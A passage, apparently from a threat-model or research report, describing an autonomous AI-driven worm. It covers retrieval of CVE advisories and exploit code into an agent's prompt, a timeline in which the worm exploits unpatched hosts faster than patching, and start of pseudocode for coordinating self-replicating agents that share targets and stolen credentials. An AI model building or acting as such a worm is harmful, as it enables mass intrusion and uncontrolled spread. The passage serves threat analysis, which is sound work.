Retrieve: top-k chunks from CVE/CWE knowledge base
│ (vuln description, PoC code, exploit syntax, encoding tricks)
▼
Inject: into Action Node prompt for current + next N steps
│
▼
Effect: model can operationalise a CVE it has no training-weight knowledge of
(demonstrated on CVE-2026-31431, CVE-2026-43284, CVE-2026-39987 —
all post-training-cutoff, exploited successfully from single retrieval doc)
This is the mechanism enabling one-day operationalisation: a single publicly-available advisory document is sufficient for the agent to build a working exploit within hours of CVE publication.
Patching window implications
T=0 CVE disclosed publicly, advisory published
T=hours Worm retrieves advisory, adds to knowledge base
T=hours+N Worm successfully exploits unpatched hosts at scale
T=days–weeks Most organizations complete patch verification + deployment
The worm can outpace most enterprise patch cycles on disclosed vulnerabilities.
7. Swarm Coordination
Multiple replicas running concurrently coordinate to avoid collisions and share intelligence:
# Pseudocode for swarm coordination protocol
class SwarmCoordinator:
target_registry: Dict[Host, AgentID] # prevents double-targeting
credential_store: Dict[str, Credential] # shared across all replicas
compute_registry: Dict[Host, GPULoad] # load-balances inference requests
def reserve
…(truncated)